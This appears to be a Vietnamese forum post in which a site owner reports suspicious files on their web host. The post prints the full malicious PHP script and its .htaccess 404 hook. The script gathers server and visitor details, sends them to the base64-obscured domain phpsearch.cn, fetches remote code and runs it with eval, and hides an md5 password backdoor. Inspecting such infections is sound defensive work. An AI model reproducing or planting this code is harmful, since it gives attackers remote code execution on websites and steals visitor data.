Có phải 1 loại virus mới trên server?

Chào mọi người!

Hôm nay mình ftp vào host của mình, thấy giật mình khi tự nhiên có những file lạ. Lúc đầu mình nghĩ site mình bị hack, nhưng sau khi xem xét và kiểm tra kĩ lại thì thấy có 1 điều nghi vấn:

- Tất cả thư các thư mục đều bị CHMOD 777
- Tất cả thư mục đều bị tạo 1 file .htaccess và 1 file .php với tên có vẻ là tạo 1 cách tự động, gồm 6 số.

ví dụ:
Code:

.htaccess
157650.php

Nội dung của file .htaccess trên như sau:

Code:

Options -MultiViews
ErrorDocument 404 //info/modules/157650.php

Code:

<? 
error_reporting(0);
$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);
$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);
$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);
$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);
$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);
$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);
$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);
$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);
$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);
$f=base64_decode("cGhwc2VhcmNoLmNu");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="52e816b1e3f0d7156c5ce48634bc229f") $f=$_REQUEST["id"];

if((include(base64_decode("aHR0cDovL2FkczMu").$f.$z)));
else 

if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))
eval($c);
else
{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
curl_setopt($cu,CurlOPT_RETURNTRANSFER,1);
$o=curl_exec($cu);
curl_close($cu);
eval($o);};
die(); 
?>

Mình chèn thêm echo vào cuối file và run:

Code:

echo base64_decode("aHR0cDovLzcxLg==").$f.$z;
echo base64_decode("aHR0cDovLzcu").$f.$z;
echo $c;

nó ra thế này:
Code:

hxxp://71.phpsearch.cn/?Y2hpcGhvaS51cw==.Y2hpcGhvaS51cw==.L2luZm8vbWVkaWEvMTU3NjUwLnBocA==.L2luZm8vbWVkaWEvMTU3NjUwLnBocA==...TW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNi4xOyBlbi1VUzsgcnY6MS45LjAuMTApIEdlY2tvLzIwMDkwNDIzMTYgRmlyZWZveC8zLjAuMTA=.NTguMTg3LjE0OC4xMDU=.e.L2hzcGhlcmUvbG9jYWwvaG9tZS9jaGlwaG9pL2NoaXBob2kudXMvaW5mby9tZWRpYS8xNTc2NTAucGhw.ZW4tdXMsZW47cT0wLjU=
 http://7.phpsearch.cn/?Y2hpcGhvaS51cw==.Y2hpcGhvaS51cw==.L2luZm8vbWVkaWEvMTU3NjUwLnBocA==.L2luZm8vbWVkaWEvMTU3NjUwLnBocA==...TW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3M
 hxxp_://ads3.phpsearch.cn

hxxp là http do mình sửa lại

Nếu như xem qua file .htaccess thì thấy nó cũng không đáng lo lắm, nhưng khi đọc file php thì mình bắt đầu ko yên tâm.
Có thể nó chỉ thu thập thông tin server và visitors, nhưng làm sao mà nó làm được như vậy? Nếu làm được như vậy thì rất có thể nó làm được những việc nguy hiểm hơn?

Server này đặt ở Mỹ chứ ko phải TQ, nên mình không nghĩ là do chủ server dùng script tạo mấy cái này mà do bàn tay bọn TQ chăng?

Users currently in here

1 Anonymous